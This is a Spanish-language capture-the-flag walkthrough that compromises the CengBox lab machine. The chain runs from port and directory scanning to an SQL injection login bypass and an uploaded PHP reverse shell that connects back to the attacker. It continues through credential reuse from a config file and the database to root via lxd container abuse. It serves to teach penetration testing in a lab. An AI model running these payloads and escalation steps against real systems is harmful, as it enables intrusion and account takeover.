Escaneo de puertos

```
nmap -p- --min-rate 5000 -sS <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 23:09 CEST
Nmap scan report for 192.168.5.159
Host is up (0.0019s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:cc:28:f3:8c:f5:0e:3f:5a:ed:13:f3:ad:53:13:9b (RSA)
|   256 f7:3a:a3:ff:a1:f7:e5:1b:1e:6f:58:5f:c7:02:55:9b (ECDSA)
|_  256 f0:dd:2e:1d:3d:0a:e8:c1:5f:52:7c:55:2c:dc:1e:ef (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: CEng Company
MAC Address: 00:0C:29:CA:B0:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.87 ms 192.168.5.159

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.16 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x php,html,txt -t 50 -r -k
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.159/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
```

```
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/css                  (Status: 403) [Size: 278]
/img                  (Status: 403) [Size: 278]
/index.php            (Status: 200) [Size: 5812]
/js                   (Status: 403) [Size: 278]
/masteradmin          (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
/uploads              (Status: 403) [Size: 278]
/vendor               (Status: 403) [Size: 278]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Vemos interesante sobre todo `/masteradmin`, no podemos entrar en el directamente, pero si le tiraremos un `gobuster` para ver que subdirectorios nos saca...

```
gobuster dir -u http://<IP>/masteradmin -w <WORDLIST> -x php,html,txt -t 50 -r -k
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.159/masteradmin
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.html       (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/css                  (Status: 403) [Size: 278]
```

```
/db.php               (Status: 200) [Size: 0]
/fonts                (Status: 403) [Size: 278]
/images               (Status: 403) [Size: 278]
/js                   (Status: 403) [Size: 278]
/login.php            (Status: 200) [Size: 5137]
/upload.php           (Status: 200) [Size: 1440]
/vendor               (Status: 403) [Size: 278]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Vemos que hay un `login.php`, por lo que si nos metemos dentro aparecera un panel de login, si en el campo de `usuario` metemos lo siguiente...

```
' OR 1=1-- -
```

Haciendo `SQL Injection` y en el campo de la `password` le metemos lo que sea, nos llevara automaticamente a la siguiente `URL`...

```
URL = http://<IP>/masteradmin/upload.php
```

Y aqui podremos subir lo que queramos, por lo que hacemos lo siguiente...

Crearemos un archivo con una `Reverse Shell`...

```
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock,
2=>$sock),$pipes);
?>
```

Sera con `.php` pero si subimos por ejemplo un archivo llamado `shell.php` no nos dejara tiene que ir con una extension determinada de la siguienre manera `shell.ceng`...

Lo subiremos con esa extension ya que igualmente se ejecutara la shell, no hace falta cambiarlo con `BurpSuit` ni nada parecido..

Este archivo se subira en una `URL` que encontramos antes de `/uploads` en la pagina principal con el primero `Gobuster` que encontramos...

```
URL = http://<IP>/uploads/shell.ceng
```

Ya que si nos vamos a solo `/uploads` no nos aparecera nada por lo que pondremos el nombre del archivo que subimos, igualmente esto se puede descubrir poniendo el siguiente comando...

```
gobuster dir -u http://<IP>/uploads -w <WORDLIST> -x php,html,txt,ceng -t 50 -r -k
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.159/uploads
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
```

```
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt,ceng
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.php        (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htpasswd.ceng       (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htaccess.ceng       (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/shell.ceng           (Status: 200) [Size: 0]
Progress: 102345 / 102350 (100.00%)
===============================================================
Finished
===============================================================
```

Una vez que nos metamos en `/uploads/shell.ceng` estando a la escucha...

```
nc -lvnp <PORT>
```

Nos creara una shell con el usuario `www-data` por lo que lo tendremos que sanitizar la shell...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si nos vamos al archivo `db.php` que vimos antes haciendo un...

```
cd /var/www/html/masteradmin

cat db.php
```

Veremos lo siguiente...

```
<?php
$serverName = "localhost";
$username = "root";
$password = "SuperS3cR3TPassw0rd1!";
$dbName = "cengbox";
//Create Connection
$conn = new mysqli($serverName, $username, $password,$dbName);
```

```
//Check Connection
if($conn->connect_error){
        die("Connection Failed: ".$conn->connect_error);
} else { }
?>
```

Lo que sugiere que nos podremos conectar como `root` a `mysql`...

```
mysql -h localhost -u root -pSuperS3cR3TPassw0rd1!
```

Una vez dentro haremos estos pasos siguientes...

```
show databases;

+--------------------+
| Database           |
+--------------------+
| information_schema |
| cengbox            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

use cengbox;

show tables;

+-------------------+
| Tables_in_cengbox |
+-------------------+
| admin             |
+-------------------+

select * from admin;

+----+-------------+---------------+
| id | username    | password      |
+----+-------------+---------------+
|  1 | masteradmin | C3ng0v3R00T1! |
+----+-------------+---------------+
```

Veremos un usuario y contraseña, pero esa contraseña la podremos utilizar tambien para conectarnos al usuario del servidor llamado `cengover`...

```
User = cengover
Password = C3ng0v3R00T1!

su cengover
```

Y metemos esa `password`...

Por lo que ya seriamos el usuario, pero mejor nos conectaremos por `ssh`...

```
ssh cengover@<IP>
```

Una vez siendo ese usuario, leemos la flag...

> user.txt (flag1)

```
8f7f6471e2e869f029a75c5de601d5e0
```

Si hacemos el siguiente comando...

```
id

uid=1000(cengover) gid=1000(cengover)
groups=1000(cengover),4(adm),24(cdrom),30(dip),46(plugdev),100(users),110(lxd),117(lp
admin),118(sambashare)
```

Veremos que estamos en un grupo muy caracteristico para escalar privilegios llamado `110(lxd)`...

Por lo que haremos lo siguiente...

```
# build a simple alpine image in your host

git clone https://github.com/saghul/lxd-alpine-builder

cd lxd-alpine-builder

sudo ./build-alpine

python3 -m http.server 80

# import the image

# It's important doing this from YOUR HOME directory on the victim machine, or it
might fail.

cd /tmp/

wget http://<IP>/<FILE_NAME>.tar.gz

lxc image import ./alpine*.tar.gz --alias myimage

# run the image

lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image

lxc config device add mycontainer mydevice disk source=/ path=/mnt/root
recursive=true

# interact with the container

lxc start mycontainer

lxc exec mycontainer /bin/sh
```

Una vez hecho todo eso seremos `root` pero dentro de un contenedor y aunque importemos la carpeta de `root` al contenedor no va a funcionar, por lo que nos saldremos de ese contenedor y haremos lo siguiente...

```
# Check the image is there
lxc image list
```

Para ver como se llama nuestro contenedor, una vez verificado eso, importaremos un repositorio de github...

URL = https://github.com/initstring/lxd_root

```
#Importarlo
git clone https://github.com/initstring/lxd_root.git

#Meternos dentro de la carpeta
cd lxd_root/

bash lxd_rootv1.sh <CONTAINER_NAME>
```

Info:

```
[+] Stopping container mycontainer
[+] Setting container security privilege on
[+] Starting container mycontainer
[+] Mounting host root filesystem to mycontainer
error: More than one disk device uses the same path: /mnt/root.
[+] Using container to add cengover to /etc/sudoers
[+] Unmounting host root filesystem from mycontainer
error: The device doesn't exist
[+] Resetting container security privilege to off
[+] Stopping the container
[+] Done! Enjoy your sudo superpowers!
```

Si nos aparece esto tal cual es que funciono comprobandolo de la siguiente manera...

```
sudo id

uid=0(root) gid=0(root) groups=0(root)
```

Una vez visto eso, tendremos que hacer...

```
sudo su
```

Y ya seriamos `root`, por lo que leemos la flag en la carpeta de `root`...

root.txt (flag2)

```
 / ____|  ____|           |  _ \
| |     | |__   _ __   __ _| |_) | _____  __
| |     |  __| | '_ \ / _` |  _ < / _ \ / /
| |____ | |____| | | | (_| | |_) | (_) >  <
 _____|______|_| |_|__, |____/ ___/_/_\
                    __/ |
                   |___/

Congrats. Hope you enjoyed it and you can contact me on Twitter @arslanblcn_

a51e522b22a439b8e1b22d84f71cf0f2
```